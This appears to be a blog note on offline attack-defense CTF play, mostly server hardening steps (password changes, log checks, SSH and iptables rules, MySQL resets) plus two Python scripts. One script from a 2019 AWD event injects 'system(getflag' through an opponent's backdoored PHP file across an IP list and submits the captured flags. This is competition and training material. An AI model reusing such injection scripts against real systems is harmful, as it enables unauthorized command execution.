线下攻防赛笔记。
从下面几个方面入手。
拿到服务器
先passwd
命令修改用户密码,数据库密码,数据库中的网站账户密码
查看/etc/passwd
下的后门用户,删除
备份/var/www/html/
下的源码,d盾扫描后门
禁止修改文件夹内容chattr -R +i /var/www/html
看下最近的敏感操作
1cat /root/.bash_history
看下最近登录的账户 lastlog
1last -n 5|awk '{print $1}'
ps aux
ps -ef
查看诡异进程
查看已建立的网络连接及进程
1netstat -antulp | grep EST
批量杀进程
1kill `ps aux|grep 进程名|awk {'print $2'}`
查找24小时内修改的文件
1find ./ -mtime 0 -name "*.php"
ssh加固
/etc/ssh/sshd_config
修改ssh端口号
增加条目
1AllowUsers root
2AllowGroups root
3DenyUsers 看情况
4DenyGroups 看情况
1/etc/hosts.allow
2/etc/hosts.deny
3# cat hosts.allow
4sshd: 172.24.11. , 172.24.12. //sshd只允许这两个ip段链接
更改完需要重启ssh服务
MySQL加固
备份mysql数据库
1mysqldump -u 用户名 -p 密码 数据库名 > bak.sql
2mysqldump --all-databases > bak.sql
还原mysql数据库
1mysql -u 用户名 -p 密码 数据库名 < bak.sql
删除phpmyadmin
更改MySQL root密码
方法1: 用SET PASSWORD命令
1mysql -u root
2mysql> SET PASSWORD FOR ['root'@'localhost'](mailto:'root'@'localhost') = PASSWORD('newpass');
方法2:用mysqladmin
1mysqladmin -u root password "newpass"
如果root已经设置过密码,采用如下方法
1mysqladmin -u root password oldpass "newpass"
方法3: 用UPDATE直接编辑user表
1mysql -u root
2
3mysql> use mysql;
4
5mysql> UPDATE user SET Password = PASSWORD('newpass') WHERE user = 'root';
6
7mysql> FLUSH PRIVILEGES;
在没有root密码的时候,可以这样
1mysqld_safe --skip-grant-tables&
2
3mysql -u root mysql
4
5mysql> UPDATE user SET password=PASSWORD("new password") WHERE user='root';
6
7mysql> FLUSH PRIVILEGES;
日志
日志路径
1/var/log/auth.log
2/var/log/apache2/access.log
3/var/log/apache2/error.log
4/var/log/messages
5lastlog
6last
7lastb
8/var/log/maillog
9/var/log/secure
10find / -name nginx.conf nginx的配置文件中有日志目录
11access_log /var/log/nginx/access.log;
12error_log /var/log/nginx/error.log;
13tomcat的日志默认是存放在安装目录下的logs目录下
查看访问最多的前十个IP
1cat /var/log/apache2/access.log |cut -d ' ' -f1|sort|uniq -c|sort -r|head -n 10
查看访问最多的前十个url
1cat /var/log/apache2/access.log |cut -d ' ' -f7|sort|uniq -c|sort -r|head -n 10
文件监控
1git clone https://github.com/seb-m/pyinotify.git
2cd pyinotify/
3python setup.py install
启动监控
1python -m pyinotify /var/www/html/
网络监控
iptables操作
开放端口
1#开放ssh
2iptables -A INPUT -p tcp --dport 22 -j ACCEPT
3iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
4#打开80端口iptables -A INPUT -p tcp --dport 80 -j ACCEPT
5iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
6#开启多端口简单用法
7iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
8#允许外部访问本地多个端口 如8080,8081,8082,且只允许是新连接、已经连接的和已经连接的延伸出新连接的会话
9iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
10iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT
限制IP和访问速率
1#单个IP的最大连接数为 30
2iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
3#单个IP在60秒内只允许最多新建15个连接
4iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECTiptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
5#允许外部访问本机80端口,且本机初始只允许有10个连接,每秒新增加2个连接,如果访问超过此限制则拒接 (此方式可以限制一些攻击)
6iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPTiptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
放DDOS
1iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT
iptables-save
保存
批量提交flag
下面是在iscc2019下线awd中用到的脚本
1#!/usr/bin/env python
2# -*- coding: utf-8 -*-
3import requests
4
5
6def getflag(ip):
7 # 批量获取shell
8 url = "http://{}/8d20d57e2f2b9be5/fb30e70f7813489ddae79be07925a34a.php".format(ip)
9 print(url)
10
11 data = {
12 'a': 'a=1);system(getflag',
13 }
14 res = requests.post(url, data, ).content
15 print res[758:-1]
16 if 'flag' in res:
17 postflag(res[758:-1])
18
19
20def postflag(flag):
21 flag = flag.replace('\n','').replace('\t','').strip()
22 headers = {
23 'Cookie': 'MacaronSession=b54f71d79035ee55'
24 }
25 data = {
26 'flag': flag
27 }
28 print flag
29 r = requests.post('http://172.16.100.5:4000/sendconflictflag', data=data, headers=headers)
30 print(r.content)
31
32def getip():
33 with open('ip.txt', 'r') as f:
34 ips = [ip.strip('\n').replace('\t', '') for ip in f.readlines()]
35 for ip in ips:
36 # print(ip[0:3])
37 try:
38
39 if ip[0:3] == '119':
40 getflag(ip[1:])
41 # if ip[:3] == '192':
42 # getflag(ip[1:])
43 except:
44 continue
45
46if __name__ == '__main__':
47 # for ip in range(1, 255):
48 # getflag('192.168.{}.1'.format(ip))
49 # getflag('127.0.0.1')
50 getip()
其他的脚本
1#!/usr/bin/env python
2# -*- coding: utf-8 -*-
3# author:Y4er
4import logging
5import random
6import string
7import paramiko
8
9logger = logging.getLogger("Logger")
10logger.setLevel(logging.DEBUG)
11handler = logging.StreamHandler()
12formatter = logging.Formatter(fmt='%(asctime)s - %(levelname)s - %(message)s', datefmt='%Y/%m/%d %H:%M:%S')
13handler.setFormatter(formatter)
14logger.addHandler(handler)
15
16
17def randomStr(size=16, chars=string.ascii_uppercase + string.digits):
18 return ''.join(random.choice(chars) for _ in range(size))
19
20
21def changeSSHPwd(host, username, newpasswd='root', port=22, timeout=5):
22 '''
23 更改ssh root密码并返回链接会话对象
24 :param host: ip地址
25 :param username: root
26 :param newpasswd: 新密码
27 :param port: 端口默认22
28 :param timeout: 连接超时5s
29 :return:
30 '''
31 try:
32 ssh = paramiko.SSHClient()
33 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
34 ssh.connect(host, port, username, newpasswd, timeout=timeout)
35 logger.info("{} 链接成功.".format(host))
36
37 stdin, stdout, stderr = ssh.exec_command('id')
38 logger.info("当前用户权限:%s" % stdout.read().strip('\n'))
39 stdin, stdout, stderr = ssh.exec_command('echo {}:{}|chpasswd {}'.format(username, newpasswd, username))
40 logger.warning('尝试更改{}密码为:{}.'.format(host, newpasswd))
41
42 except Exception as e:
43 logging.error("{} ssh connect fail.{}".format(host, e))
44 exit(0)
45 return ssh
46
47
48def check(session):
49 '''
50 显示一些基本信息
51 :param session: ssh会话
52 :param rootpass: 原root密码
53 :return:
54 '''
55 stdin, stdout, stderr = session.exec_command(
56 '''sudo cat /etc/passwd|grep -v nologin|awk -F ":" {'print $1"|"$3"|"$4"|"$6'}''')
57 logger.info("显示可疑用户\n" + stdout.read())
58
59 stdin, stdout, stderr = session.exec_command('''last -n 10|awk '{print $1}' ''')
60 logger.info("显示最近登录的10个用户\n" + stdout.read())
61
62 stdin, stdout, stderr = session.exec_command(
63 '''find / -iname "*upload*" |grep php ''')
64 logger.info("可疑上传文件的脚本\n" + stdout.read())
65
66 stdin, stdout, stderr = session.exec_command(
67 '''netstat -natlp |sed '1,2d'|awk -F " " {'print $4"|"$5"|"$6'} ''')
68 logger.info("所有开放的端口号\n本地主机|远程主机|状态\n" + stdout.read())
69
70 stdin, stdout, stderr = session.exec_command(
71 '''netstat -antulp | grep EST ''')
72 logger.info("查看已建立的网络连接及进程\n" + stdout.read())
73
74 stdin, stdout, stderr = session.exec_command(
75 '''find / -mtime 0 -name "*.php" ''')
76 logger.info("查找24小时内修改的文件\n" + stdout.read())
77
78
79def bak(session, rootpass, newrootpass='root'):
80 '''
81 备份文件
82 :param session:ssh会话
83 :return:
84 '''
85 session.exec_command(
86 '''sudo cp /etc/passwd /tmp/passwd && sudo cp /etc/shadow /tmp/shadow ''')
87 logger.info("备份passwd和shadow到/tmp/")
88
89 stdin, stdout, stderr = session.exec_command(
90 '''mkdir /tmp/www/ && cp -R /var/www/html/ /tmp/www/ ''')
91 logger.info("备份/var/www/html/到/tmp/www/")
92
93 session.exec_command(
94 '''mkdir /tmp/database/ && mysqldump -uroot -p{} --all-databases > /tmp/database/all.sql'''.format(rootpass))
95 logger.info("备份MySQL数据库到/tmp/database/all.sql")
96
97 session.exec_command('''find / -iname "phpinfo.php"|xargs rm -rf''')
98 logger.warning("删除phpinfo.php")
99
100 session.exec_command('''find / -type d -iname "*phpmyadmin*"|xargs rm -rf''')
101 logger.warning("删除phpmyadmin")
102
103 session.exec_command('''mysqladmin -u root -p{} password {}'''.format(rootpass, newrootpass))
104 logger.warning("修改MySQL root账户密码为{}".format(newrootpass))
105 session.exec_command('''service mysql restart''')
106
107
108def defend(session, ip):
109 '''
110 加固措施
111 :param session: ssh会话
112 :param ip: 你的ip或c段
113 :return:
114 '''
115 stdin, stdout, stderr = session.exec_command('''echo "sshd:{}" >> /etc/hosts.allow '''.format('ip'))
116 logger.warning("添加{}到/etc/hosts.allow".format(ip))
117 stdin, stdout, stderr = session.exec_command('''service ssh restart''')
118
119 stdin, stdout, stderr = session.exec_command(
120 '''mkdir -R /bin/zzrvtc/ && mv /bin/curl /bin/zzrvtc/curl && mv /bin/wget /bin/zzrvtc/wget && mv /bin/ls /bin/zzrvtc/ls && mv /bin/cd /bin/zzrvtc/cd&&mv /bin/ll /bin/zzrvtc/ll''')
121 logger.warning("移动curl wget cd ls ll命令到/bin/zzrvtc/下 {}".format(stdout.read()))
122
123
124if __name__ == '__main__':
125 # 更改ssh密码为root
126 session = changeSSHPwd('192.168.24.128', 'root', 'root')
127 # check
128 check(session)
129 # 更改mysql密码为root
130 bak(session, 'root')
131 # 防御策略
132 defend(session,'192.168.24.128/24')
1批量给php文件引用waf.php
2find . -type f -name "*.php"|xargs sed -i "s/<?php/<?php\nrequire_once('\/tmp\/waf.php');\n/g"
评论